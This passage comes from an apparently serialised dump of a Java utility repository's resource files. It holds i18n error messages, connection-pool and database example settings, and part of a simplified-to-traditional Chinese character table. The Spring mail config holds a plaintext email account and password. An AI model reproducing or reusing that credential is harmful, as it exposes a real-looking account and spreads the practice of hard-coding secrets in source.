    "content": "exception.param.default=@{index \\!\\= null ?'\\u7b2c'+index+'\\u4e2a\\u53c2\\u6570\\u6709\\u9519.\\\\n'\\:''}@{name \\!\\= null ?'\\u53c2\\u6570'+name+'\\u6709\\u9519.\\\\n'\\:''}@{errStr \\!\\= null ?'\\u539f\\u56e0\\uff1a'+errStr+'.\\\\n'\\:''}@{needStr\\!\\= null ?'\\u6539\\u6b63\\uff1a'+needStr+'.'\\:''}\nexception.hint.reason=\\u539f\\u59cb\\u5f02\\u5e38\\u4ea7\\u751f\\u539f\\u56e0\\uff1a\nexception.hint.errorcodemsg=\\u9519\\u8bef\\u4ee3\\u7801\\uff1a\n\n\n\nnoUser=\\u6ca1\\u6709\\u6b64\\u7528\\u6237\\u3002\n\nexception_project_00000=\\u7cfb\\u7edf\\u9519\\u8bef\\uff0c\\u8bf7\\u8054\\u7cfb\\u76f8\\u5173\\u7ba1\\u7406\\u4eba\\u5458\\u3002\nexception_project_00001=freemark\\u6a21\\u677f\\u8bfb\\u53d6\\u9519\\u8bef\nexception_project_00002=\\u5ba2\\u6237\\u7aef\\u8fde\\u63a5\\u9519\\u8bef\nexception_project_00003=\\u6d41\\u5173\\u95ed\\u9519\\u8bef\nexception_project_00004=\\u6ca1\\u6709\\u5f97\\u5230\\u6a21\\u677f\nexception_project_00005=ejb\\u521d\\u59cb\\u5316\\u9519\\u8bef\nexception_project_00006=\\u7c7b\\u578b\\u8f6c\\u6362\\u9519\\u8bef\nexception_project_00007=\\u6570\\u636e\\u8d8a\\u754c\nexception_project_00008=\\u683c\\u5f0f\\u4e0d\\u5339\\u914d\nexception_project_00009=\\u6570\\u636e\\u4e0d\\u80fd\\u4e3a\\u7a7a\nexception_project_00010=\\u6ca1\\u6709\\u83b7\\u5f97\\u7f13\\u5b58\n#param\nexception_param_00000=\\u53c2\\u6570\\u9519\\u8bef\\u3002\n#excel\nexception_excel_00001=\\u8fd4\\u56deexcle\\u8f93\\u51fa\\u6d41\\u9519\\u8bef\n#freemark\nexception_freemark_00001=freemark\\u6a21\\u677f\\u8bfb\\u53d6\\u9519\\u8bef\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/I18N/MessageBundleUtil_en_US.properties",
    "content": "util_noUser=No this user.\nexception_ParamdefaultTemp=@{index \\!\\= null ?'No'+index+'param is error.\\\\n'\\:''}@{name \\!\\= null ?'param'+name+'has error.\\\\n'\\:''}@{errStr \\!\\= null ?'cause\\uFF1A'+errStr+'.\\\\n'\\:''}@{needStr\\!\\= null ?'correct\\uFF1A'+needStr+'.'\\:''}"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/application.properties",
    "content": "#spring.mail.host=smtp.exmail.qq.com\nspring.mail.host=smtp.163.com\nspring.mail.username=PersistentYouth@163.com\nspring.mail.password=ll1234\nspring.mail.properties.mail.smtp.auth=true\nspring.mail.properties.mail.smtp.starttls.enable=true\nspring.mail.properties.mail.smtp.starttls.required=true"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/commonsUtil.properties",
    "content": "#Redis\n#\\u6587\\u4ef6\\u4e0a\\u4f20\\u9650\\u5236\n#\\u8bbe\\u7f6e\\u4e0a\\u4f20\\u5185\\u5bb9\\u7684\\u5927\\u5c0f\\u9650\\u52365M\\uff08\\u5355\\u4f4d\\uff1a\\u5b57\\u8282\\uff09 \nfile.sizeMax=5242880\n#\\u8bbe\\u7f6e\\u8d85\\u8fc7\\u591a\\u5927\\u5185\\u5bb9\\u7684\\u6587\\u4ef6\\u4f1a\\u653e\\u5230\\u4e34\\u65f6\\u6587\\u4ef6\\u4e2d\\u5904\\u7406 2M\nfile.sizeThreshold=2097152\n#\\u4e34\\u65f6\\u6587\\u4ef6\\u5b58\\u653e\\u7684\\u76ee\\u5f55\nfile.tempDir=c:/\nconnect.encode=utf-8"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/config/access-example.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!-- 访问控制配置XML -->\n<access>\n\t<!-- 用户认证的访问控制 -->\n\t<auth>\n\t\t<!-- 用户组，可多个 -->\n\t\t<group name=\"\" />\n\t\t<!-- 用户信息，可多个 -->\n\t\t<user name=\"\" pass=\"\" group=\"\"/>\n\t</auth>\n\t<!-- 接口访问黑白名单控制，type为[white, black] -->\n\t<list type=\"black\">\n\t\t<!-- \n\t\t\t两种方式\n\t\t\tIP区间，例如 192.168.1.1-192.168.1.255 \n\t\t\tIP，例如 192.168.1.1\n\t\t-->\n\t\t<section></section>\n\t</list>\n</access>"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/config/c3p0-config-example.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<c3p0-config>\n\t<default-config>\n\t\t<property name=\"maxConnectionAge\">1800</property>\n\t\t<!--检查所有连接池中的空闲连接间隔。Default: 0 -->\n\t\t<property name=\"idleConnectionTestPeriod\">60</property>\n\t\t<!--定义所有连接测试都执行的测试语句。在使用连接测试的情况下这个一显著提高测试速度。Default: null -->\n\t\t<property name=\"preferredTestQuery\">select 1</property>\n\t\t<!--如果设为true那么在取得连接的同时将校验连接的有效性。Default: false -->\n\t\t<property name=\"testConnectionOnCheckin\">true</property>\n\n\t\t<!--初始化时获取连接个数，取值应在minPoolSize与maxPoolSize之间。Default: 3 -->\n\t\t<property name=\"initialPoolSize\">1</property>\n\t\t<!-- 连接池中最小连接数 -->\n\t\t<property name=\"minPoolSize\">1</property>\n\t\t<!-- 连接池中最大连接数 -->\n\t\t<property name=\"maxPoolSize\">100</property>\n\t\t<!--当连接池中的连接耗尽的时候c3p0一次同时获取的连接数。Default: 3 -->\n\t\t<property name=\"acquireIncrement\">1</property>\n\t</default-config>\n</c3p0-config>"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/config/db-example.setting",
    "content": "# **************************************************************\n# ----- Setting File with UTF8-----\n# ----- 数据库设置样例配置文件 -----\n# SSH通道中 <ssh1>表示此ssh通道的名称，可以在ssh.default 中设定默认的ssh名称，亦可在程序中给定相应参数\n# 数据源中<ds1>表示数据源名称，可以在ds.default 中设定默认的数据源，亦可在程序中给定相应的参数\n# ds.<ds1>.<ssh1>表示在使用指定ssh通道时的用户名和密码\n# 此配置文件支持变量替换，若引用某值，请使用${键名}\n# **************************************************************\n# ----- JDBC驱动，可选，默认为MySQL -----\n#jdbc.driver = com.mysql.jdbc.Driver\n#jdbc.driver = oracle.jdbc.driver.OracleDriver \n#jdbc.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver\n#jdbc.driver = com.ibm.db2.jcc.DB2Driver\n#jdbc.driver = com.sybase.jdbc3.jdbc.SybDriver\n#jdbc.driver = org.postgresql.Driver\n# --------------------------------------------\n\n# ----- JDBC协议，可选，默认为MySQL -----\n#jdbc.protocol = jdbc:mysql\n#jdbc.protocol = jdbc:oracle:thin\n#jdbc.protocol = jdbc:sqlserver\n#jdbc.protocol = jdbc:db2\n#jdbc.protocol = jdbc:sybase:Tds\n#jdbc.protocol = jdbc:postgresql\n# --------------------------------------------\n\n# ----- JDBC URL参数，可选 -----\n#jdbc.url.param = \n# --------------------------------\n\n# ----- 默认数据源，必须 ------\nds.default = defaultDatasourceName\n# ------------------------------\n# ----- SSH通道名，默认关闭 -----\n#ssh.default = none\n# ---------------------------------\n\n# ----- SSH通道1 -----\n<ssh1>.ssh.host = \n<ssh1>.ssh.port = \n<ssh1>.ssh.user = \n<ssh1>.ssh.pass = \n# ----------------------\n\n# ----- 数据源1 -----\n<ds1>.ds.host =\n<ds1>.ds.port = \n<ds1>.ds.db = \n<ds1>.none.ds.user = \n<ds1>.none..ds.pass = \n<ds1>.<ssh1>.ds.user = \n<ds1>.<ssh1>.ds.pass = \n# -------------------\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/config/druid-example.setting",
    "content": "#------------------------------------------------\n#Druid 配置文件样例\n# @see http://code.alibabatech.com/wiki/pages/viewpage.action?pageId=7669006\n#------------------------------------------------\n\n# 配置初始化大小、最小、最大\ninitialSize = 1\nminIdle = 1\nmaxActive = 20\n\n# 配置获取连接等待超时的时间，单位：毫秒\nmaxWait = 60000\n\n# 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\ntimeBetweenEvictionRunsMillis = 60000\n\n# 配置一个连接在池中最小生存的时间，单位是毫秒\nminEvictableIdleTimeMillis = 60000\n\n# 测试连接的SQL, 并指定测试的时期\nvalidationQuery = SELECT 1\ntestWhileIdle = true\ntestOnBorrow = false\ntestOnReturn = false\n\n# 打开PSCache，并且指定每个连接上PSCache的大小, 如果用Oracle，则把poolPreparedStatements配置为true，mysql必须设为false，并注释maxPoolPreparedStatementPerConnectionSize。\npoolPreparedStatements = false\n#maxPoolPreparedStatementPerConnectionSize = 20\n\n# 配置监控统计拦截的filters\nfilters = stat"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/config/mailAccount-example.setting",
    "content": "# **************************************************************\n# ----- Setting File with UTF8-----\n# ----- 邮件发送功能的账户信息配置文件 -----\n# **************************************************************\n\nhost = mail.example.com\nport = 25\nauth = true\nfrom = luxiaolei@example.com\nuser = nicai\npass = ******"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/data/simplified2traditional.setting",
    "content": "# **************************************************************\n# ----- Setting File with UTF8-----\n# ----- 简体中文转换繁体中文对照表 -----\n# @see http://zh.wikipedia.org/zh-cn/Wikipedia:Unihan%E7%B9%81%E7%AE%80%E4%BD%93%E5%AF%B9%E7%85%A7%E8%A1%A8/%E7%AE%80%E7%B9%81%E4%B8%80%E4%B8%80%E5%AF%B9%E5%BA%94%E8%A1%A8\n# **************************************************************\n\n㑩=儸\n㓥=劏\n㔉=劚\n㖊=噚\n㖞=喎\n㛟=𡞵\n㛠=𡢃\n㛿=𡠹\n㟆=㠏\n㧑=撝\n㧟=擓\n㨫=㩜\n㱩=殰\n㱮=殨\n㲿=瀇\n㳠=澾\n㶉=鸂\n㶶=燶\n㶽=煱\n㺍=獱\n㻏=𤫩\n㻘=𤪺\n䁖=瞜\n䅉=稏\n䇲=筴\n䌶=䊷\n䌷=紬\n䌸=縳\n䌹=絅\n䌺=䋙\n䌼=綐\n䌽=綵\n䌾=䋻\n䍀=繿\n䍁=繸\n䑽=𦪙\n䓕=薳\n䗖=螮\n䘛=𧝞\n䙊=𧜵\n䙓=襬\n䜣=訢\n䜥=𧩙\n䜧=譅\n䝙=貙\n䞌=𧵳\n䞍=䝼\n䞐=賰\n䢂=𨋢\n䥺=釾\n䥽=鏺\n䥿=𨯅\n䦀=𨦫\n䦁=𨧜\n䦃=鐯\n䦅=鐥\n䩄=靦\n䭪=𩞯\n䯃=𩣑\n䯄=騧\n䯅=䯀\n䲝=䱽\n䲞=𩶘\n䲟=鮣\n䲠=鰆\n䲡=鰌\n䲢=鰧\n䲣=䱷\n䴓=鳾\n䴔=鵁\n䴕=鴷\n䴖=鶄\n䴗=鶪\n䴘=鷈\n䴙=鷿\n万=萬\n与=與\n专=專\n业=業\n丛=叢\n东=東\n丝=絲\n丢=丟\n两=兩\n严=嚴\n丧=喪\n个=個\n丰=豐\n临=臨\n为=為\n丽=麗\n举=舉\n义=義\n乌=烏\n乐=樂\n乔=喬\n习=習\n乡=鄉\n书=書\n买=買\n乱=亂\n争=爭\n于=於\n亏=虧\n云=雲\n亚=亞\n产=產\n亩=畝\n亲=親\n亵=褻\n亸=嚲\n亿=億\n仅=僅\n从=從\n仑=侖\n仓=倉\n仪=儀\n们=們\n价=價\n众=眾\n优=優\n会=會\n伛=傴\n伞=傘\n伟=偉\n传=傳\n伣=俔\n伤=傷\n伥=倀\n伦=倫\n伧=傖\n伪=偽\n伫=佇\n体=體\n佥=僉\n侠=俠\n侣=侶\n侥=僥\n侦=偵\n侧=側\n侨=僑\n侩=儈\n侪=儕\n侬=儂\n俣=俁\n俦=儔\n俨=儼\n俩=倆\n俪=儷\n俫=倈\n俭=儉\n债=債\n倾=傾\n偬=傯\n偻=僂\n偾=僨\n偿=償\n傥=儻\n傧=儐\n储=儲\n傩=儺\n儿=兒\n兑=兌\n兖=兗\n党=黨\n兰=蘭\n关=關\n兴=興\n兹=茲\n养=養\n兽=獸\n冁=囅\n内=內\n冈=岡\n册=冊\n写=寫\n军=軍\n农=農\n冯=馮\n冲=沖\n决=決\n况=況\n冻=凍\n净=凈\n凉=涼\n减=減\n凑=湊\n凛=凜\n几=幾\n凤=鳳\n凫=鳧\n凭=憑\n凯=凱\n击=擊\n凿=鑿\n刍=芻\n刘=劉\n则=則\n刚=剛\n创=創\n删=刪\n别=別\n刬=剗\n刭=剄\n刹=剎\n刽=劊\n刿=劌\n剀=剴\n剂=劑\n剐=剮\n剑=劍\n剥=剝\n剧=劇\n劝=勸\n办=辦\n务=務\n劢=勱\n动=動\n励=勵\n劲=勁\n劳=勞\n势=勢\n勋=勛\n勚=勩\n匀=勻\n匦=匭\n匮=匱\n区=區\n医=醫\n华=華\n协=協\n单=單\n卖=賣\n卢=盧\n卤=鹵\n卫=衛\n却=卻\n卺=巹\n厂=廠\n厅=廳\n历=歷\n厉=厲\n压=壓\n厌=厭\n厍=厙\n厐=龎\n厕=廁\n厢=廂\n厣=厴\n厦=廈\n厨=廚\n厩=廄\n厮=廝\n县=縣\n叁=叄\n参=參\n双=雙\n发=發\n变=變\n叙=敘\n叠=疊\n叶=葉\n号=號\n叹=嘆\n叽=嘰\n吓=嚇\n吕=呂\n吗=嗎\n吣=唚\n吨=噸\n听=聽\n启=啟\n吴=吳\n呐=吶\n呒=嘸\n呓=囈\n呕=嘔\n呖=嚦\n呗=唄\n员=員\n呙=咼\n呛=嗆\n呜=嗚\n咏=詠\n咙=嚨\n咛=嚀\n咝=噝\n咤=吒\n响=響\n哑=啞\n哒=噠\n哓=嘵\n哔=嗶\n哕=噦\n哗=嘩\n哙=噲\n哜=嚌\n哝=噥\n哟=喲\n唛=嘜\n唝=嗊\n唠=嘮\n唡=啢\n唢=嗩\n唤=喚\n啧=嘖\n啬=嗇\n啭=囀\n啮=嚙\n啴=嘽\n啸=嘯\n喷=噴\n喽=嘍\n喾=嚳\n嗫=囁\n嗳=噯\n嘘=噓\n嘤=嚶\n嘱=囑\n噜=嚕\n嚣=囂\n团=團\n园=園\n囱=囪\n围=圍\n囵=圇\n国=國\n图=圖\n圆=圓\n圣=聖\n圹=壙\n场=場\n坏=壞\n块=塊\n坚=堅\n坛=壇\n坜=壢\n坝=壩\n坞=塢\n坟=墳\n坠=墜\n垄=壟\n垅=壠\n垆=壚\n垒=壘\n垦=墾\n垩=堊\n垫=墊\n垭=埡\n垱=壋\n垲=塏\n垴=堖\n埘=塒\n埙=塤\n埚=堝\n埯=垵\n堑=塹\n堕=墮\n墙=牆\n壮=壯\n声=聲\n壳=殼\n壶=壺\n壸=壼\n处=處\n备=備\n复=復\n够=夠\n头=頭\n夸=誇\n夹=夾\n夺=奪\n奁=奩\n奂=奐\n奋=奮\n奖=獎\n奥=奧\n妆=妝\n妇=婦\n妈=媽\n妩=嫵\n妪=嫗\n妫=媯\n姗=姍\n姹=奼\n娄=婁\n娅=婭\n娆=嬈\n娇=嬌\n娈=孌\n娱=娛\n娲=媧\n娴=嫻\n婳=嫿\n婴=嬰\n婵=嬋\n婶=嬸\n媪=媼\n嫒=嬡\n嫔=嬪\n嫱=嬙\n嬷=嬤\n孙=孫\n学=學\n孪=孿\n宁=寧\n宝=寶\n实=實\n宠=寵\n审=審\n宪=憲\n宫=宮\n宽=寬\n宾=賓\n寝=寢\n对=對\n寻=尋\n导=導\n寿=壽\n将=將\n尔=爾\n尘=塵\n尝=嘗\n尧=堯\n尴=尷\n尸=屍\n尽=盡\n层=層\n屃=屓\n屉=屜\n届=屆\n属=屬\n屡=屢\n屦=屨\n屿=嶼\n岁=歲\n岂=豈\n岖=嶇\n岗=崗\n岘=峴\n岙=嶴\n岚=嵐\n岛=島\n岭=嶺\n岽=崬\n岿=巋\n峄=嶧\n峡=峽\n峣=嶢\n峤=嶠\n峥=崢\n峦=巒\n崂=嶗\n崃=崍\n崄=嶮\n崭=嶄\n嵘=嶸\n嵚=嶔\n嵝=嶁\n巅=巔\n巩=鞏\n巯=巰\n币=幣\n帅=帥\n师=師\n帏=幃\n帐=帳\n帘=簾\n帜=幟\n带=帶\n帧=幀\n帮=幫\n帱=幬\n帻=幘\n帼=幗\n幂=冪\n幞=襆\n并=並\n广=廣\n庆=慶\n庐=廬\n庑=廡\n库=庫\n应=應\n庙=廟\n庞=龐\n废=廢\n廪=廩\n开=開\n异=異\n弃=棄\n弑=弒\n张=張\n弥=彌\n弪=弳\n弯=彎\n弹=彈\n强=強\n归=歸\n当=當\n录=錄\n彦=彥\n彻=徹\n径=徑\n徕=徠\n忆=憶\n忏=懺\n忧=憂\n忾=愾\n怀=懷\n态=態\n怂=慫\n怃=憮\n怄=慪\n怅=悵\n怆=愴\n怜=憐\n总=總\n怼=懟\n怿=懌\n恋=戀\n恒=恆\n恳=懇\n恶=惡\n恸=慟\n恹=懨\n恺=愷\n恻=惻\n恼=惱\n恽=惲\n悦=悅\n悫=愨\n悬=懸\n悭=慳\n悮=悞\n悯=憫\n惊=驚\n惧=懼\n惨=慘\n惩=懲\n惫=憊\n惬=愜\n惭=慚\n惮=憚\n惯=慣\n愠=慍\n愤=憤\n愦=憒\n愿=願\n慑=懾\n懑=懣\n懒=懶\n懔=懍\n戆=戇\n戋=戔\n戏=戲\n戗=戧\n战=戰\n戬=戩\n戯=戱\n户=戶\n扑=撲\n执=執\n扩=擴\n扪=捫\n扫=掃\n扬=揚\n扰=擾\n抚=撫\n抛=拋\n抟=摶\n抠=摳\n抡=掄\n抢=搶\n护=護\n报=報\n担=擔\n拟=擬\n拢=攏\n拣=揀\n拥=擁\n拦=攔\n拧=擰\n拨=撥\n择=擇\n挂=掛\n挚=摯\n挛=攣\n挜=掗\n挝=撾\n挞=撻\n挟=挾\n挠=撓\n挡=擋\n挢=撟\n挣=掙\n挤=擠\n挥=揮\n挦=撏\n捝=挩\n捞=撈\n损=損\n捡=撿\n换=換\n捣=搗\n据=據\n掳=擄\n掴=摑\n掷=擲\n掸=撣\n掺=摻\n掼=摜\n揽=攬\n揾=搵\n揿=撳\n搀=攙\n搁=擱\n搂=摟\n搅=攪\n携=攜\n摄=攝\n摅=攄\n摆=擺\n摇=搖\n摈=擯\n摊=攤\n撄=攖\n撑=撐\n撵=攆\n撷=擷\n撸=擼\n撺=攛\n擞=擻\n攒=攢\n敌=敵\n敛=斂\n数=數\n斋=齋\n斓=斕\n斩=斬\n断=斷\n无=無\n旧=舊\n时=時\n旷=曠\n旸=暘\n昙=曇\n昼=晝\n昽=曨\n显=顯\n晋=晉\n晒=曬\n晓=曉\n晔=曄\n晕=暈\n晖=暉\n暂=暫\n暧=曖\n术=術\n机=機\n杀=殺\n杂=雜\n权=權\n杆=桿\n条=條\n来=來\n杨=楊\n杩=榪\n杰=傑\n极=極\n构=構\n枞=樅\n枢=樞\n枣=棗\n枥=櫪\n枧=梘\n枨=棖\n枪=槍\n枫=楓\n枭=梟\n柜=櫃\n柠=檸\n柽=檉\n栀=梔\n栅=柵\n标=標\n栈=棧\n栉=櫛\n栊=櫳\n栋=棟\n栌=櫨\n栎=櫟\n栏=欄\n树=樹\n栖=棲\n样=樣\n栾=欒\n桠=椏\n桡=橈\n桢=楨\n档=檔\n桤=榿\n桥=橋\n桦=樺\n桧=檜\n桨=槳\n桩=樁\n梦=夢\n梼=檮\n梾=棶\n梿=槤\n检=檢\n棁=梲\n棂=欞\n椁=槨\n椟=櫝\n椠=槧\n椤=欏\n椭=橢\n楼=樓\n榄=欖\n榅=榲\n榇=櫬\n榈=櫚\n榉=櫸\n槚=檟\n槛=檻\n槟=檳\n槠=櫧\n横=橫\n樯=檣\n樱=櫻\n橥=櫫\n橱=櫥\n橹=櫓\n橼=櫞\n檩=檁\n欢=歡\n欤=歟\n欧=歐\n歼=殲\n殁=歿\n殇=殤\n残=殘\n殒=殞\n殓=殮\n殚=殫\n殡=殯\n殴=毆\n毁=毀\n毂=轂\n毕=畢\n毙=斃\n毡=氈\n毵=毿\n氇=氌\n气=氣\n氢=氫\n氩=氬\n氲=氳\n汇=匯\n汉=漢\n汤=湯\n汹=洶\n沟=溝\n没=沒\n沣=灃\n沤=漚\n沥=瀝\n沦=淪\n沧=滄\n沩=溈\n沪=滬\n泞=濘\n泪=淚\n泶=澩\n泷=瀧\n泸=瀘\n泺=濼\n泻=瀉\n泼=潑\n泽=澤\n泾=涇\n洁=潔\n洒=灑\n洼=窪\n浃=浹\n浅=淺\n浆=漿\n浇=澆\n浈=湞\n浊=濁\n测=測\n浍=澮\n济=濟\n浏=瀏\n浐=滻\n浑=渾\n浒=滸\n浓=濃\n浔=潯\n涂=塗\n涛=濤\n涝=澇\n涞=淶\n涟=漣\n涠=潿\n涡=渦\n涣=渙\n涤=滌\n润=潤\n涧=澗\n涨=漲\n涩=澀\n渊=淵\n渌=淥\n渍=漬\n渎=瀆\n渐=漸\n渑=澠\n渔=漁\n渖=瀋\n渗=滲\n温=溫\n湾=灣\n湿=濕\n溃=潰\n溅=濺\n溆=漵\n滗=潷\n滚=滾\n滞=滯\n滟=灧\n滠=灄\n满=滿\n滢=瀅\n滤=濾\n滥=濫\n滦=灤\n滨=濱\n滩=灘\n滪=澦\n漤=灠\n潆=瀠\n潇=瀟\n潋=瀲\n潍=濰\n潜=潛\n潴=瀦\n澜=瀾\n濑=瀨\n濒=瀕\n灏=灝\n灭=滅\n灯=燈\n灵=靈\n灾=災\n灿=燦\n炀=煬\n炉=爐\n炖=燉\n炜=煒\n炝=熗\n点=點\n炼=煉\n炽=熾\n烁=爍\n烂=爛\n烃=烴\n烛=燭\n烟=煙\n烦=煩\n烧=燒\n烨=燁\n烩=燴\n烫=燙\n烬=燼\n热=熱\n焕=煥\n焖=燜\n焘=燾\n煴=熅\n爱=愛\n爷=爺\n牍=牘\n牦=氂\n牵=牽\n牺=犧\n犊=犢\n状=狀\n犷=獷\n犸=獁\n犹=猶\n狈=狽\n狝=獮\n狞=獰\n独=獨\n狭=狹\n狮=獅\n狯=獪\n狰=猙\n狱=獄\n狲=猻\n猃=獫\n猎=獵\n猕=獼\n猡=玀\n猪=豬\n猫=貓\n猬=蝟\n献=獻\n獭=獺\n玑=璣\n玚=瑒\n玛=瑪\n玮=瑋\n环=環\n现=現\n玱=瑲\n玺=璽\n珐=琺\n珑=瓏\n珰=璫\n珲=琿\n琏=璉\n琐=瑣\n琼=瓊\n瑶=瑤\n瑷=璦\n璎=瓔\n瓒=瓚\n瓯=甌\n电=電\n画=畫\n畅=暢\n畴=疇\n疖=癤\n疗=療\n疟=瘧\n疠=癘\n疡=瘍\n疬=癧\n疭=瘲\n疮=瘡\n疯=瘋\n疱=皰\n疴=痾\n痈=癰\n痉=痙\n痒=癢\n痖=瘂\n痨=癆\n痪=瘓\n痫=癇\n瘅=癉\n瘆=瘮\n瘗=瘞\n瘘=瘺\n瘪=癟\n瘫=癱\n瘾=癮\n瘿=癭\n癞=癩\n癣=癬\n癫=癲\n皑=皚\n皱=皺\n皲=皸\n盏=盞\n盐=鹽\n监=監\n盖=蓋\n盗=盜\n盘=盤\n眍=瞘\n眦=眥\n眬=矓\n睁=睜\n睐=睞\n睑=瞼\n瞆=瞶\n瞒=瞞\n瞩=矚\n矫=矯\n矶=磯\n矾=礬\n矿=礦\n砀=碭\n码=碼\n砖=磚\n砗=硨\n砚=硯\n砜=碸\n砺=礪\n砻=礱\n砾=礫\n础=礎\n硁=硜\n硕=碩\n硖=硤\n硗=磽\n硙=磑\n确=確\n硷=礆\n碍=礙\n碛=磧\n碜=磣\n碱=鹼\n礼=禮\n祃=禡\n祎=禕\n祢=禰\n祯=禎\n祷=禱\n祸=禍\n禀=稟\n禄=祿\n禅=禪\n离=離\n秃=禿\n秆=稈\n种=種\n积=積\n称=稱\n秽=穢\n秾=穠\n稆=穭\n税=稅\n稣=穌\n稳=穩\n穑=穡\n穷=窮\n窃=竊\n窍=竅\n窎=窵\n窑=窯\n窜=竄\n窝=窩\n窥=窺\n窦=竇\n窭=窶\n竖=豎\n竞=競\n笃=篤\n笋=筍\n笔=筆\n笕=筧\n笺=箋\n笼=籠\n笾=籩\n筑=築\n筚=篳\n筛=篩\n筜=簹\n筝=箏\n筹=籌\n筼=篔\n签=簽\n简=簡\n箓=籙\n箦=簀\n箧=篋\n箨=籜\n箩=籮\n箪=簞\n箫=簫\n篑=簣\n篓=簍\n篮=籃\n篱=籬\n簖=籪\n籁=籟\n籴=糴\n类=類\n籼=秈\n粜=糶\n粝=糲\n粤=粵\n粪=糞\n粮=糧\n糁=糝\n糇=餱\n紧=緊\n絷=縶\n纟=糹\n纠=糾\n纡=紆\n红=紅\n纣=紂\n纤=纖\n纥=紇\n约=約\n级=級\n纨=紈\n纩=纊\n纪=紀\n纫=紉\n纬=緯\n纭=紜\n纮=紘\n纯=純\n纰=紕\n纱=紗\n纲=綱\n纳=納\n纴=紝\n纵=縱\n纶=綸\n纷=紛\n纸=紙\n纹=紋\n纺=紡\n纻=紵\n纼=紖\n纽=紐\n纾=紓\n线=線\n绀=紺\n绁=紲\n绂=紱\n练=練\n组=組\n绅=紳\n细=細\n织=織\n终=終\n绉=縐\n绊=絆\n绋=紼\n绌=絀\n绍=紹\n绎=繹\n经=經\n绐=紿\n绑=綁\n绒=絨\n结=結\n绔=絝\n绕=繞\n绖=絰\n绗=絎\n绘=繪\n给=給\n绚=絢\n绛=絳\n络=絡\n绝=絕\n绞=絞\n统=統\n绠=綆\n绡=綃\n绢=絹\n绣=綉\n绤=綌\n绥=綏\n绦=絛\n继=繼\n绨=綈\n绩=績\n绪=緒\n绫=綾\n绬=緓\n续=續\n绮=綺\n绯=緋\n绰=綽\n绱=緔\n绲=緄\n绳=繩\n维=維\n绵=綿\n绶=綬\n绷=綳\n绸=綢\n绹=綯\n绺=綹\n绻=綣\n综=綜\n绽=綻\n绾=綰\n绿=綠\n缀=綴\n缁=緇\n缂=緙\n缃=緗\n缄=緘\n缅=緬\n缆=纜\n缇=緹\n缈=緲\n缉=緝\n缊=縕\n缋=繢\n缌=緦\n缍=綞\n缎=緞\n缏=緶\n缑=緱\n缒=縋\n缓=緩\n缔=締\n缕=縷\n编=編\n缗=緡\n缘=緣\n缙=縉\n缚=縛\n缛=縟\n缜=縝\n缝=縫\n缞=縗\n缟=縞\n缠=纏\n缡=縭\n缢=縊\n缣=縑\n缤=繽\n缥=縹\n缦=縵\n缧=縲\n缨=纓\n缩=縮\n缪=繆\n缫=繅\n缬=纈\n缭=繚\n缮=繕\n缯=繒\n缰=韁\n缱=繾\n缲=繰\n缳=繯\n缴=繳\n缵=纘\n罂=罌\n网=網\n罗=羅\n罚=罰\n罢=罷\n罴=羆\n羁=羈\n羟=羥\n翘=翹\n耢=耮\n耧=耬\n耸=聳\n耻=恥\n聂=聶\n聋=聾\n职=職\n聍=聹\n联=聯\n聩=聵\n聪=聰\n肃=肅\n肠=腸\n肤=膚\n肮=骯\n肴=餚\n肾=腎\n肿=腫\n胀=脹\n胁=脅\n胆=膽\n胜=勝\n胧=朧\n胨=腖\n胪=臚\n胫=脛\n胶=膠\n脉=脈\n脍=膾\n脏=臟\n脐=臍\n脑=腦\n脓=膿\n脔=臠\n脚=腳\n脱=脫\n脶=腡\n脸=臉\n腊=臘\n腭=齶\n腻=膩\n腼=靦\n腽=膃\n腾=騰\n膑=臏\n臜=臢\n舆=輿\n舣=艤\n舰=艦\n舱=艙\n舻=艫\n艰=艱\n艳=艷\n艺=藝\n节=節\n芈=羋\n芗=薌\n芜=蕪\n芦=蘆\n苁=蓯\n苇=葦\n苈=藶\n苋=莧\n苌=萇\n苍=蒼\n苎=苧\n苏=蘇\n苧=薴\n苹=蘋\n茎=莖\n茏=蘢\n茑=蔦\n茔=塋\n茕=煢\n茧=繭\n荆=荊\n荐=薦\n荙=薘\n荚=莢\n荛=蕘\n荜=蓽\n荞=蕎\n荟=薈\n荠=薺\n荡=盪\n荣=榮\n荤=葷\n荥=滎\n荦=犖\n荧=熒\n荨=蕁\n荩=藎\n荪=蓀\n荫=蔭\n荬=蕒\n荭=葒\n荮=葤\n药=葯\n莅=蒞\n莱=萊\n莲=蓮\n莳=蒔\n莴=萵\n莶=薟\n获=獲\n莸=蕕\n莹=瑩\n莺=鶯\n莼=蒓\n萝=蘿\n萤=螢\n营=營\n萦=縈\n萧=蕭\n萨=薩\n葱=蔥\n蒇=蕆\n蒉=蕢\n蒋=蔣\n蒌=蔞\n蓝=藍\n蓟=薊\n蓠=蘺\n蓣=蕷\n蓥=鎣\n蓦=驀\n蔂=虆\n蔷=薔\n蔹=蘞\n蔺=藺\n蔼=藹\n蕰=薀\n蕲=蘄\n蕴=蘊\n薮=藪\n藓=蘚\n蘖=櫱\n虏=虜\n虑=慮\n虚=虛\n虫=蟲\n虬=虯\n虮=蟣\n虽=雖\n虾=蝦\n虿=蠆\n蚀=蝕\n蚁=蟻\n蚂=螞\n蚕=蠶\n蚬=蜆\n蛊=蠱\n蛎=蠣\n蛏=蟶\n蛮=蠻\n蛰=蟄\n蛱=蛺\n蛲=蟯\n蛳=螄\n蛴=蠐\n蜕=蛻\n蜗=蝸\n蜡=蠟\n蝇=蠅\n蝈=蟈\n蝉=蟬\n蝎=蠍\n蝼=螻\n蝾=蠑\n螀=螿\n螨=蟎\n蟏=蠨\n衅=釁\n衔=銜\n补=補\n衬=襯\n衮=袞\n袄=襖\n袅=裊\n袆=褘\n袜=襪\n袭=襲\n袯=襏\n装=裝\